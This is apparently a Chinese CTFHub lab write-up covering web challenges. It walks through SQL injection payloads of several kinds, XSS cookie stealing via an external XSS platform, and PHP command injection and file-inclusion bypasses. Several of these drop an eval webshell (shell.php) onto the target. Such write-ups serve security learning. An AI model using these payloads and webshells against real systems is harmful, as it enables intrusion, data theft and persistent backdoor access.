CTFHUB刷题记录
WEB
web前置技能
HTTP协议
请求方式
bp抓包,更改请求方式
302跳转
考察http临时重定向
(HTTP重定向:服务器无法处理浏览器发送过来的请求(request),服务器告诉浏览器跳转到可以处理请求的url上。浏览器会自动访问该URL地址,以至于用户无法分辨是否重定向了。)
f12打开网络界面,点击链接,
右键
在cmd中执行得到flag
其中我们需要知道HTTP中的重定向和请求转发的区别
##转发是服务器行为,重定向是客户端行为。为什么这样说呢,这就要看两个动作的工作流程:##
转发过程:客户浏览器发送http请求——>web服务器接受此请求——>调用内部的一个方法在容器内部完成请求处理和转发动作—>将目标资源发送给客户;
在这里,转发的路径必须是同一个web容器下的url,其不能转向到其他的web路径上去,中间传递的是自己的容器内的request。在客户浏览器路径栏显示的仍然是其第一次访问的路径,也就是说客户是感觉不到服务器做了转发的。转发行为是浏览器只做了一次访问请求。
重定向过程:客户浏览器发送http请求——>web服务器接受后发送302状态码响应及对应新的location给客户浏览器——>客户浏览器发现是302响应,则自动再发送一个新的http请求,请求url是新的location地址——>服务器根据此请求寻找资源并发送给客户。
在这里location可以重定向到任意URL,既然是浏览器重新发出了请求,则就没有什么request传递的概念了。在客户浏览器路径栏显示的是其重定向的路径,客户可以观察到地址的变化的。重定向行为是浏览器做了至少两次的访问请求的。
重定向,其实是两次request
第一次,客户端request A,服务器响应,并response回来,告诉浏览器,你应该去B。这个时候IE可以看到地址变了,而且历史的回退按钮也亮了。重定向可以访问自己web应用以外的资源。在重定向的过程中,传输的信息会被丢失。
Cookie
因为题目说只有admin才能得到flag,通过查看cookie,得知admin的值为0,则通过抓包将admin的值改为1,得到flag
基础认证
相关文章:https://zhuanlan.zhihu.com/p/64584734
通过题目所给的字典进行爆破,找出长度不同的包,得到flag
响应包源代码
查看页面源代码得到flag
信息泄露
目录遍历
查看flag.txt得到flag
PHPINFO
查看phpinfo
找到flag
备份文件下载
网站源码
通过访问www.zip下载得到flag_3128822888.txt,打开却是where is flag?
在url上访问该目录,得到flag:
ctfhub{56ddcc138d819e15e1a42dba}
bak文件
访问index.php.bak下载文件打开得到flag
vim缓存
拿到这道题开始很懵逼,通过查阅资料得知,vim在编辑文档的过程中如果异常退出,会产生缓存文件,产生的缓存文件后缀为.swp访问index.php.swp,发现404,原来是因为
.swp是隐藏文件,这类文件的调用前面都需要加一个. ,于是执行命令vim -r index.php.swp,结果在我的windows下使用执行不了vim,应该是需要安装,索性用kali执行,得到flag。
.DS_Store
同理,url后面添加.DS_Store,将文件下载下来,cat一下得到flag
git泄露
log
dirsearch扫描发现
使用githack python GitHack.py http://challenge-7f4c7b9df98a43f3.sandbox.ctfhub.com:10800/.git
将目录的源代码弄到本地,进入dist的该目录,执行git log
执行对比命令
得到flag
stash
dirsearch执行python3 dirsearch.py -u url
扫描得到
githarkpython GitHack.py http://challenge-78d21b3ec9ad4a98.sandbox.ctfhub.com:10800/.git
接下来git stash list
发现存在stash文件,于是git stash pop
得到
发现flag
index
与上同理,用dirsearch和githack处理后,在文件夹中得到flag
SVN泄露
由于工具的原因,没有成功做出来,不过这题不算难,就不写wp了
HG泄露
这题要同样要用到dvcs-ripper,所以不继续做了
密码口令
弱口令
一个弱口令爆破,没啥难度,带入字典爆破就行了,不过我的bp是社区版的,单线程爆破太慢,这里我就不做了
默认口令
默认口令直接上网查找
下面是一些常见的网络安全设备默认密码
1 | 深信服产品 sangfor sangfor |
SQL注入
SQL注入类型大多只要运用好sqlmap都是能够跑出来的,不过我们学习过程中还是用手注好一些,不过sqlmap的基本操作也需要掌握
整数型注入
当输入1 order by 1及1 order by 2时都能得到正常回显,当改为1 order by 3时不能得到正常回显,说明列数为2,则使用1 union select 1,2,发现正常回显,将其改为,
发现data的值变成了2,所以可以通过改变2的语句来进行注入,
-1 union select 1,database(),得到
说明有用,继续,直接查看所以库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
这里的group_concat()用于连接这些库名的字符串,而information_schema.schemata,这个里面存放的则是所有数据库名,
如果存在长度限制,那么可以通过
select schema_name from information_schema.schemata limit 0,1逐条获取,接下来
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’sqli’得到
直接查flag表-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’
继续查flag字段-1 union select 1,group_concat(flag) from sqli.flag
得到flag
字符型注入
这里为字符型注入,所以需要注释将后面的引号注释掉
可以用–+或者#进行注释,后面的操作和整数型输入没啥区别了,
同样是先判断列数,由于是同一个数据库,所以这些东西应该都没变,直接套用修改一下就可拿到flag
' union select 1,group_concat(flag) from sqli.flag#
这里我用–+没有成功,不过用– (这里有个空格)成功了。之前记得是–+,原来是因为+在url里面编码为空格,所以注释应该是#或者–(这里有空格)
报错注入
之前极客大挑战也有一个报错注入的题
直接 1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
同样,继续查表,
1 Union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
后面操作也同样只用改改payload就行了,由于数据库一样,我直接查了flag1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
布尔盲注
由于页面只返回两个结果,对或错,那么这就只能通过一个个对比ascii码来进行注入,由于知道数据库为sqli,所以首先试试1 and (length(database()))=4
,然后试试1 and ascii(substr(database(),1,1))=115
如果不知道数据库名的话,可以通过二分法来折半查找,就是工作量有点大就是了,可以写脚本来操作,不过我不太会,所以知道原理了,直接拿sqlmap跑了。
python sqlmap.py -u http://challenge-d76cdeeff06f3afb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
时间盲注
时间盲注就不得不用到sleep()这个函数,于是输入if(substr(database(),1,1)='s',sleep(3),1)
发现页面有一定时间的等待,所以语句成立。
同样如果一个一个注入太费时间了,清楚原理了就行,这里直接上脚本python sqlmap.py -u http://challenge-46e81b950a7df771.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
MYSQL结构
这道题我不知道考察什么,就常规的语句1 order by 2试了一下,然后也是常规的注入,不过这次我直接用插flag的语句没有成功,所以还是得一步一步来,先数据库-1 union select database(),2
接着-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
继续-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='hjrhulnume'
-1 union select 1,group_concat(kvuzromifm) from hjrhulnume
Cookie注入
抓包修改cookie进行注入
id=-1 union select database(),version();
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='ddoavgqppz'
1 | -1 union select 1,group_concat(ntlchzrftc) from ddoavgqppz |
过滤空格
由于这道题将空格过滤了,于是用/**/注释符号来代替空格的作用,
-1/**/union/**/select/**/database(),2
-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
1 | -1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lzsgmohfpc' |
1 | -1/**/union/**/select/**/ckeyngfhux,2/**/from/**/lzsgmohfpc |
UA注入
和cookie注入类似,这次注入点在User-Agent里
接下来都是重复的操作了
查字段查flag
Referer注入
同样,在抓到的包里面添加一个Referer:进行注入
XSS
能够通过输入的东西改变页面,于是<script>alert(1)</script>
得到了弹窗,于是在xss platform(xsscom.com)上面创建一个项目,得到这个
在第一个框中提交
接着将提交后的url放入第二个框中
再在平台上面查看,成功在cookie中得到flag
RCE
eval执行
给cmd赋一个值,直接执行一个系统命令
1 | ?cmd=system('ls ../../../'); |
1 | ?cmd=system('cat ../../../flag_8890'); |
文件包含
1 | <?php eval($_REQUEST['ctfhub']);?> |
有个shell.txt,访问发现有个参数ctfhub,于是利用文件包含,
1 | ?file=shell.txt&ctfhub=system('ls'); |
查目录,
1 | ?file=shell.txt&ctfhub=system('cat ../../../flag'); |
php://input
php://input 是个可以访问请求的原始数据的只读流.可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
查看phpinfo,发现这两是打开的,说明方法可行
读取源代码
这道题遇到过很多次同种类型了,用伪协议读取直接
1 | ?file=php://filter/read=convert.base64-encode/resource=/flag |
再进行一个base64解码即可得到flag
远程包含
在vps上创建一个文件写好系统命令,进行远程包含
1 | ?file=http://xxx.xx.xx.xx/1.txt |
得到flag
命令注入
看到有个php,于是
1 | 127.0.0.1 & cat 88281526027669.php |
ping后无回显,于是base64转码一下,成功得到回显
不过我还看到一个操作,也是可行的
1 | 127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php |
直接写个马进去
蚁剑成功连接上
这里可以看见,flag是被注释掉了,难怪第一种方法没有回显
过滤cat
过滤cat关我tac什么事
1 | 127.0.0.1 & tac flag_104451206227791.php|base64 |
写马的方式也一样能用
1 | 127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php |
过滤空格
能代替空格的可就太多了,这里我们用的是${IFS}
?ip=127.0.0.1${IFS}%26${IFS}ls#
1 | 127.0.0.1${IFS}&${IFS}cat${IFS}flag_22372299923305.php|base64 |
过滤目录分隔符
1 | 127.0.0.1 & cd flag_is_here;ls; |
1 | 127.0.0.1 & cd flag_is_here;cat flag_20743402023207.php|base64 |
但是思来想去,这些过滤都没有防范我写马进去,甚至payload都不用变
1 | 127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php |
过滤运算符
&被过滤,用;代替
1 | 127.0.0.1;ls |
127.0.0.1;cat flag_35923221712564.php|base64 = 127.0.0.1;base64 flag_35923221712564.php
1 | 127.0.0.1;base64 flag_7518163641606.php |
一样的可以写马
综合过滤练习
就是一个疯狂加过滤的题,考虑使用编码绕过
1 | ?ip=127.0.0.1%0als |
1 | ?ip=127.0.0.1%0acd${IFS}f???_is_here%0als |
1 | ?ip=127.0.0.1%0acd${IFS}f???_is_here%0abase64${IFS}f???_8886214875044.php%0a |